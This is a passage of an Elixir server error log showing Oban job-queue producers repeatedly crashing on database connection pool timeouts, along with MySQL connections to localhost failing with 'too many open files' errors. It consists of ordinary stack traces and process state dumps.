{Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37439>, refresh_timer: #Reference<0.2525715032.1121189889.144885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:54:52.239707Z], limit: 5, uuid: "b960bf48-1bb1-41e3-abfc-fdfdf2fc85d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.239713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37442>, refresh_timer: #Reference<0.2525715032.1077673987.10083>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:05.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:06.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:07.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:08.953000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:14.636000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:55:04.243744Z], limit: 10, uuid: "37d9ae60-cf55-4818-a446-c1ba934a9b69", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.243750Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37852>, refresh_timer: #Reference<0.2525715032.1121189889.145028>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:55:04.242948Z], limit: 3, uuid: "70c30339-c4da-4ba8-97d6-4a181b2faaf7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.242954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37851>, refresh_timer: #Reference<0.2525715032.1068498948.37836>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:55:04.244713Z], limit: 5, uuid: "a9e17e08-b8b7-4aa8-a385-089670a9a797", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.244719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37854>, refresh_timer: #Reference<0.2525715032.1099431938.36893>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:55:04.243882Z], limit: 20, uuid: "16987b25-60bc-49c3-a0f8-8fea557b1171", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.243888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37853>, refresh_timer: #Reference<0.2525715032.1099431938.36879>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:55:04.242598Z], limit: 5, uuid: "6b9b0c4b-6567-4f99-90ae-f14ef21adddd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.242604Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37849>, refresh_timer: #Reference<0.2525715032.1068498948.37817>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:55:04.242211Z], limit: 50, uuid: "62d585ff-4e40-42f7-9c42-ee6f18d6b001", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:04.242217Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37850>, refresh_timer: #Reference<0.2525715032.1068498948.37794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:18.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:19.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:23.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:24.112000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:25.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:26.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:26.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:55:16.239293Z], limit: 10, uuid: "d4acd525-8561-4876-8a14-230dbdea144e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.239299Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38199>, refresh_timer: #Reference<0.2525715032.1099431938.36938>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
